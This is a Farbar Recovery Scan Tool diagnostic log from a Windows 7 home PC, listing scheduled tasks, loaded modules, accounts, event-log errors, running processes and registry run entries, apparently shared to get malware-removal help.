(Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDD-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDE-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDF-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EE0-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FE498BAB-CB4C-4F88-AC3F-3641AAAF5E9E}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.24.7\psuser_64.dll No File==================== Restore Points =========================10-12-2014 07:50:41 Windows Update13-12-2014 15:45:23 Windows Update17-12-2014 07:10:09 Windows Update18-12-2014 12:30:15 Windows Update22-12-2014 08:37:26 Windows Update25-12-2014 21:18:00 Windows Update29-12-2014 09:39:24 Windows Update==================== Hosts content: ==========================(If needed Hosts: directive could be included in the fixlist to reset Hosts.)2009-07-13 21:34 - 2009-06-10 16:00 - 00000824 ____A C:\Windows\system32\Drivers\etc\hosts==================== Scheduled Tasks (whitelisted) =============(If an entry is included in the fixlist, it will be removed from registry. Any associated file could be listed separately to be moved.)Task: {13EFBF09-CD46-4647-8540-B1E93C2F9042} - System32\Tasks\Registration Trigger IBM Lotus Symphony Task => C:\Program Files (x86)\IBM\Lotus\Symphony\framework\rcp\rcplauncher.exe [2010-10-14] ()Task: {1FF087C7-C84E-42B6-81D1-463713889456} - System32\Tasks\RealDownloaderRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\RealNetworks\RealDownloader\realupgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {22C0B2EF-D43E-40FB-9735-ADCA52F158D2} - System32\Tasks\Microsoft_MKC_Logon_Task_itype.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2014-03-19] (Microsoft Corporation)Task: {2ADBD7A4-6BC4-4FAA-A5D9-CFDF5F306D79} - System32\Tasks\RealPlayerRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\Real\RealUpgrade\RealUpgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {2BB7551B-B817-4E86-966D-57E00F246D6B} - System32\Tasks\Microsoft_Hardware_Launch_mousekeyboardcenter_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\mousekeyboardcenter.exe [2014-03-19] (Microsoft)Task: {3D128E10-3C3B-4EBD-80FA-1DB17F779CB7} - System32\Tasks\{98BF24E7-E556-4962-87AC-457FD13550E1} => C:\Program Files (x86)\Skype\Phone\Skype.exeTask: {40776560-A603-4608-A54F-8FF33ED378E3} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-05-13] (Google Inc.)Task: {4CA8D491-9A00-46AA-8D79-4862316CBE2D} - System32\Tasks\OfficeSoftwareProtectionPlatform\SvcRestartTask => Sc.exe start osppsvcTask: {4E595B4C-37D5-43D0-B601-3385AE3AF4BD} - System32\Tasks\Microsoft_Hardware_Launch_ipoint_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2014-03-19] (Microsoft Corporation)Task: {5133D178-EE34-4070-98E4-DE182CC0851C} - System32\Tasks\Microsoft_MKC_Logon_Task_ipoint.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2014-03-19] (Microsoft Corporation)Task: {73CDD0E9-827D-4A7E-B69F-F283D4D508E1} - System32\Tasks\AdobeAAMUpdater-1.0-hagar-pc-Hagar => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [2012-09-20] (Adobe Systems Incorporated)Task: {76977622-F6F2-4573-B5A3-5F18A99AE9F3} - System32\Tasks\RealDownloaderRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\RealNetworks\RealDownloader\realupgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {952A045D-5BD7-478F-9266-51BB1DF66FB0} - System32\Tasks\{845949A4-43B9-4223-9F9E-DBB153020697} => pcalua.exe -a "C:\Users\Hagar\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RMD89TZI\setup[1].exe" -d C:\Users\Hagar\DesktopTask: {9B121EF6-8377-4D08-B040-6114E5D7BB95} - System32\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [2014-10-22] (Google Inc.)Task: {9C246104-F829-4AF3-82D6-9B75C4BC46C7} - System32\Tasks\{F68BFE91-3453-426E-8112-389953EE1F97} => pcalua.exe -a D:\SETUP.EXE -d D:\Task: {A6C02330-F755-4F25-9145-9C25572E70F8} - System32\Tasks\RealDownloaderDownloaderScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\RealNetworks\RealDownloader\recordingmanager.exe [2013-08-14] (RealNetworks, Inc.)Task: {BC38CC62-743B-49C8-8392-07CF968C2C11} - System32\Tasks\RealPlayerRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\Real\RealUpgrade\RealUpgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {BE075CC3-063E-484B-BA3E-EAEA1EB4FEF2} - System32\Tasks\Microsoft_Hardware_Launch_devicecenter_exe => c:\Program Files\Microsoft Device Center\devicecenter.exeTask: {DD66CC70-A25B-42A3-AF4E-D887CE5C4062} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-05-13] (Google Inc.)Task: {E6D7DFD5-88CE-41D0-94FD-2F9B9F513CF7} - System32\Tasks\Microsoft_Hardware_Launch_itype_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2014-03-19] (Microsoft Corporation)Task: {E91DCDFB-8212-465D-BC6D-489F06570C75} - System32\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [2014-10-22] (Google Inc.)Task: {F40EADB1-6EEF-43BE-A097-0E359D3430AB} - System32\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Users\Hagar\AppData\Local\Citrix\GoToMeeting\2130\g2mupdate.exe [2014-12-20] (Citrix Online, a division of Citrix Systems, Inc.)Task: C:\Windows\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001.job => C:\Users\Hagar\AppData\Local\Citrix\GoToMeeting\2130\g2mupdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core.job => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA.job => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe==================== Loaded Modules (whitelisted) =============2010-08-29 13:30 - 2009-11-05 07:40 - 00085504 _____ () C:\Windows\System32\cpwmon64.dll2014-03-13 21:07 - 2012-08-31 14:03 - 00288768 _____ () C:\Windows\System32\HP1100LM.DLL2014-03-13 19:29 - 2012-08-31 14:02 - 00074240 _____ () C:\Windows\system32\spool\PRTPROCS\x64\HP1100PP.DLL2012-03-12 09:35 - 2012-08-31 14:03 - 03034112 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\hp1100su.dll2012-03-12 09:35 - 2012-08-31 14:02 - 01038336 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\HP1100GC.dll2010-09-12 08:54 - 2013-09-24 15:39 - 00075064 _____ () C:\Windows\SysWOW64\PnkBstrA.exe2013-08-14 14:19 - 2013-08-14 14:19 - 00039056 _____ () C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe2013-08-28 19:23 - 2013-08-28 19:23 - 01861968 _____ () C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe2013-08-30 18:47 - 2013-08-30 18:47 - 00102400 _____ () C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Proxy.Native.dll2010-10-23 18:17 - 2010-07-28 16:34 - 00022424 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinServicePS.dll2014-01-20 13:17 - 2014-01-20 13:17 - 00073544 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll2014-10-11 13:05 - 2014-10-11 13:05 - 01044776 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll2014-11-15 15:33 - 2014-11-15 15:33 - 00081056 _____ () C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\LoggingPlatform.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00750080 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\libGLESv2.dll2015-01-01 13:47 - 2015-01-01 13:47 - 00043008 _____ () c:\users\hagar\appdata\local\temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmp_smpbj.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00047616 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\libEGL.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00863744 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\plugins\platforms\qwindows.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00200704 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\plugins\imageformats\qjpeg.dll2010-10-23 18:17 - 2010-06-23 17:11 - 00325632 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtXml4.dll2010-10-23 18:17 - 2010-06-23 17:11 - 01954304 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtCore4.dll2010-10-23 18:17 - 2010-06-23 17:12 - 07187456 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtGui4.dll2010-10-23 18:17 - 2010-06-23 17:11 - 00847360 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtNetwork4.dll2010-10-23 18:24 - 2010-06-23 16:38 - 00119808 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\imageformats\qjpeg4.dll2009-08-04 16:23 - 2009-08-04 16:23 - 00063032 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\HPTools.dll2009-08-04 16:23 - 2009-08-04 16:23 - 00075320 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\HPToolkit.dll2009-08-04 16:22 - 2009-08-04 16:22 - 00136248 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\DMBaseObjects.dll2009-08-04 16:22 - 2009-08-04 16:22 - 00678968 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\LEDMXMLObjects.dll2013-08-28 19:25 - 2013-08-28 19:25 - 00100688 _____ () C:\Program Files (x86)\DivX\DivX Update\DivXUpdateCheck.dll2010-10-23 18:24 - 2010-07-28 16:02 - 00658432 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\gateways\GenericBelkinGatewayLOC.dll==================== Alternate Data Streams (whitelisted) =========(If an entry is included in the fixlist, only the Alternate Data Streams will be removed.)==================== Safe Mode (whitelisted) ===================(If an item is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)==================== EXE Association (whitelisted) =============(If an entry is included in the fixlist, the default will be restored. None default entries will be removed.)==================== MSCONFIG/TASK MANAGER disabled items =========(Currently there is no automatic fix for this section.)MSCONFIG\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^Bluetooth.lnk => C:\Windows\pss\Bluetooth.lnk.CommonStartupMSCONFIG\startupfolder: C:^Users^Hagar^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^OneNote 2010 Screen Clipper and Launcher.lnk => C:\Windows\pss\OneNote 2010 Screen Clipper and Launcher.lnk.StartupMSCONFIG\startupreg: Communicator => "C:\Program Files (x86)\Microsoft Lync\communicator.exe" /fromrunkeyMSCONFIG\startupreg: Logitech Download Assistant => C:\Windows\system32\rundll32.exe C:\Windows\System32\LogiLDA.dll,LogiFetchMSCONFIG\startupreg: WinampAgent => "C:\Program Files (x86)\Winamp\winampa.exe"========================= Accounts: ==========================Administrator (S-1-5-21-3876090227-2952970025-1856670965-500 - Administrator - Disabled)Andy (S-1-5-21-3876090227-2952970025-1856670965-1003 - Administrator - Enabled) => C:\Users\AndyGuest (S-1-5-21-3876090227-2952970025-1856670965-501 - Limited - Enabled)Hagar (S-1-5-21-3876090227-2952970025-1856670965-1001 - Administrator - Enabled) => C:\Users\HagarHomeGroupUser$ (S-1-5-21-3876090227-2952970025-1856670965-1002 - Limited - Enabled)==================== Faulty Device Manager Devices ================================= Event log errors: =========================Application errors:==================Error: (01/01/2015 01:47:37 PM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (01/01/2015 01:46:10 PM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (01/01/2015 11:17:53 AM) (Source: Application Error) (EventID: 1000) (User: )Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bcbb4Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9Exception code: 0xc00000fdFault offset: 0x00120dbfFaulting process id: 0x28b0Faulting application start time: 0xiexplore.exe0Faulting application path: iexplore.exe1Faulting module path: iexplore.exe2Report Id: iexplore.exe3Error: (01/01/2015 11:15:40 AM) (Source: Application Error) (EventID: 1000) (User: )Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x525b84d1Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9Exception code: 0xc00000fdFault offset: 0x00120dbfFaulting process id: 0x24a4Faulting application start time: 0xiexplore.exe0Faulting application path: iexplore.exe1Faulting module path: iexplore.exe2Report Id: iexplore.exe3Error: (01/01/2015 11:09:30 AM) (Source: Application Error) (EventID: 1000) (User: )Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bc6b7Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9Exception code: 0xc00000fdFault offset: 0x001202bcFaulting process id: 0x1b24Faulting application start time: 0xiexplore.exe0Faulting application path: iexplore.exe1Faulting module path: iexplore.exe2Report Id: iexplore.exe3Error: (01/01/2015 11:09:17 AM) (Source: Application Error) (EventID: 1000) (User: )Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bc5e1Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9Exception code: 0xc00000fdFault offset: 0x001202bcFaulting process id: 0x1750Faulting application start time: 0xiexplore.exe0Faulting application path: iexplore.exe1Faulting module path: iexplore.exe2Report Id: iexplore.exe3Error: (01/01/2015 11:02:51 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/31/2014 08:37:53 PM) (Source: Application Error) (EventID: 1000) (User: )Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bc6b8Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9Exception code: 0xc00000fdFault offset: 0x000d0fceFaulting process id: 0x3fecFaulting application start time: 0xiexplore.exe0Faulting application path: iexplore.exe1Faulting module path: iexplore.exe2Report Id: iexplore.exe3Error: (12/31/2014 08:33:23 PM) (Source: Application Error) (EventID: 1000) (User: )Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bcb52Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9Exception code: 0xc00000fdFault offset: 0x00120dbfFaulting process id: 0x2ee8Faulting application start time: 0xiexplore.exe0Faulting application path: iexplore.exe1Faulting module path: iexplore.exe2Report Id: iexplore.exe3Error: (12/31/2014 08:32:17 PM) (Source: SideBySide) (EventID: 80) (User: )Description: Activation context generation failed for "C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest1".Error in manifest or policy file "C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest2" on line C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest3.A component version required by the application conflicts with another component version already active.Conflicting components are:.Component 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest.Component 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2.manifest.System errors:=============Error: (01/01/2015 01:49:44 PM) (Source: DCOM) (EventID: 10010) (User: )Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Error: (01/01/2015 10:54:10 AM) (Source: DCOM) (EventID: 10010) (User: )Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Error: (12/31/2014 08:06:13 PM) (Source: Schannel) (EventID: 4119) (User: NT AUTHORITY)Description: The following fatal alert was received: 20.Error: (12/31/2014 07:23:31 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)Description: The following fatal alert was generated: 40. The internal error state is 252.Error: (12/31/2014 07:23:31 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)Description: The following fatal alert was generated: 40. The internal error state is 252.Error: (12/31/2014 06:35:02 PM) (Source: Schannel) (EventID: 4119) (User: NT AUTHORITY)Description: The following fatal alert was received: 20.Error: (12/31/2014 05:17:16 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)Description: The following fatal alert was generated: 40. The internal error state is 252.Error: (12/31/2014 05:17:13 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)Description: The following fatal alert was generated: 40. The internal error state is 252.Error: (12/31/2014 05:15:44 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)Description: The following fatal alert was generated: 40. The internal error state is 252.Error: (12/31/2014 05:15:41 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)Description: The following fatal alert was generated: 40. The internal error state is 252.Microsoft Office Sessions:=========================Error: (01/01/2015 01:47:37 PM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (01/01/2015 01:46:10 PM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (01/01/2015 11:17:53 AM) (Source: Application Error) (EventID: 1000) (User: )Description: iexplore.exe11.0.9600.174964a5bcbb4MSHTML.dll11.0.9600.17496546ff2f9c00000fd00120dbf28b001d025dd64c3c1b8C:\Program Files\Internet Explorer\iexplore.exeC:\Windows\system32\MSHTML.dllbc988d0d-91d1-11e4-bddc-1c6f6527da81Error: (01/01/2015 11:15:40 AM) (Source: Application Error) (EventID: 1000) (User: )Description: iexplore.exe11.0.9600.17496525b84d1MSHTML.dll11.0.9600.17496546ff2f9c00000fd00120dbf24a401d025dd62a1b181C:\Program Files\Internet Explorer\iexplore.exeC:\Windows\system32\MSHTML.dll6d50a5e4-91d1-11e4-bddc-1c6f6527da81Error: (01/01/2015 11:09:30 AM) (Source: Application Error) (EventID: 1000) (User: )Description: iexplore.exe11.0.9600.174964a5bc6b7MSHTML.dll11.0.9600.17496546ff2f9c00000fd001202bc1b2401d025dd3e59167aC:\Program Files\Internet Explorer\iexplore.exeC:\Windows\system32\MSHTML.dll90e0de94-91d0-11e4-bddc-1c6f6527da81Error: (01/01/2015 11:09:17 AM) (Source: Application Error) (EventID: 1000) (User: )Description: iexplore.exe11.0.9600.174964a5bc5e1MSHTML.dll11.0.9600.17496546ff2f9c00000fd001202bc175001d025dd33ef3f9aC:\Program Files\Internet Explorer\iexplore.exeC:\Windows\system32\MSHTML.dll89001c55-91d0-11e4-bddc-1c6f6527da81Error: (01/01/2015 11:02:51 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/31/2014 08:37:53 PM) (Source: Application Error) (EventID: 1000) (User: )Description: iexplore.exe11.0.9600.174964a5bc6b8MSHTML.dll11.0.9600.17496546ff2f9c00000fd000d0fce3fec01d025638636ef5aC:\Program Files\Internet Explorer\iexplore.exeC:\Windows\system32\MSHTML.dllcd074d76-9156-11e4-a176-1c6f6527da81Error: (12/31/2014 08:33:23 PM) (Source: Application Error) (EventID: 1000) (User: )Description: iexplore.exe11.0.9600.174964a5bcb52MSHTML.dll11.0.9600.17496546ff2f9c00000fd00120dbf2ee801d02562dbc51ec7C:\Program Files\Internet Explorer\iexplore.exeC:\Windows\system32\MSHTML.dll2c1071d1-9156-11e4-a176-1c6f6527da81Error: (12/31/2014 08:32:17 PM) (Source: SideBySide) (EventID: 80) (User: )Description: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifestC:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2.manifestC:\Copy\esetsmartinstaller_enu.exe==================== Memory info ===========================Processor: AMD Phenom II X6 1055T ProcessorPercentage of memory in use: 81%Total physical RAM: 4093.55 MBAvailable physical RAM: 742.27 MBTotal Pagefile: 8185.29 MBAvailable Pagefile: 3426.86 MBTotal Virtual: 8192 MBAvailable Virtual: 8191.84 MB==================== Drives ================================Drive c: () (Fixed) (Total:465.66 GB) (Free:161.92 GB) NTFS==================== MBR & Partition Table ==========================================================================Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: 8B5C0056)Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)Partition 2: (Not Active) - (Size=465.7 GB) - (Type=07 NTFS)==================== End Of Log ============================ ______________________________________FRST.txt Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 28-12-2014Ran by Hagar (administrator) on HAGAR-PC on 01-01-2015 13:52:55Running from C:\CopyLoaded Profile: Hagar (Available profiles: Hagar & Andy)Platform: Windows 7 Professional Service Pack 1 (X64) OS Language: English (United States)Internet Explorer Version 11 (Default browser: Chrome)Boot Mode: NormalTutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/==================== Processes (Whitelisted) =================(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe(AMD) C:\Windows\System32\atiesrxx.exe(AMD) C:\Windows\System32\atieclxx.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinService.exe(Advanced Micro Devices, Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe(Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe(Broadcom Corporation.) C:\Program Files\WIDCOMM\Bluetooth Software\btwdins.exe(HP) C:\Program Files (x86)\HP\HPLaserJetService\HPLaserJetService.exe(HP) C:\Windows\System32\HPSIsvc.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVC.EXE(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe() C:\Windows\SysWOW64\PnkBstrA.exe() C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe(Microsoft Corporation) C:\Program Files (x86)\Microsoft\Search Enhancement Pack\SeaPort\SeaPort.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVCM.EXE(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE(Microsoft Corporation) C:\Windows\System32\rundll32.exe(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe(johnsadventures.com) C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe(Microsoft Corporation) C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe(Dropbox, Inc.) C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe(NEC Electronics Corporation) C:\Program Files (x86)\NEC Electronics\USB 3.0 Host Controller Driver\Application\nusb3mon.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinRouterMonitor.exe(Hewlett-Packard Company) C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe(RealNetworks, Inc.) C:\Program Files (x86)\Real\RealPlayer\Update\realsched.exe() C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe(Advanced Micro Devices Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\MOM.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinSetup.exe(Microsoft Corporation) C:\Program Files\Microsoft Security Client\NisSrv.exe(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe(ATI Technologies Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\CCC.exe(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Elements 10 Organizer\PhotoshopElementsFileAgent.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe(Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe(Microsoft Corporation) C:\Windows\SysWOW64\dplaysvr.exe(Microsoft Corporation) C:\Windows\SysWOW64\regsvr32.exe(Microsoft Corporation) C:\Windows\SysWOW64\wiaacmgr.exe(Microsoft Corporation) C:\Windows\SysWOW64\regsvr32.exe(Microsoft Corporation) C:\Windows\SysWOW64\fixmapi.exe(Microsoft Corporation) C:\Windows\SysWOW64\dvdupgrd.exe(Microsoft Corporation) C:\Windows\SysWOW64\systray.exe(Microsoft Corporation) C:\Windows\SysWOW64\fixmapi.exe(Microsoft Corporation) C:\Windows\System32\dllhost.exe==================== Registry (Whitelisted) ==================(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [9642528 2009-12-08] (Realtek Semiconductor)HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [444904 2012-09-20] (Adobe Systems Incorporated)HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1331288 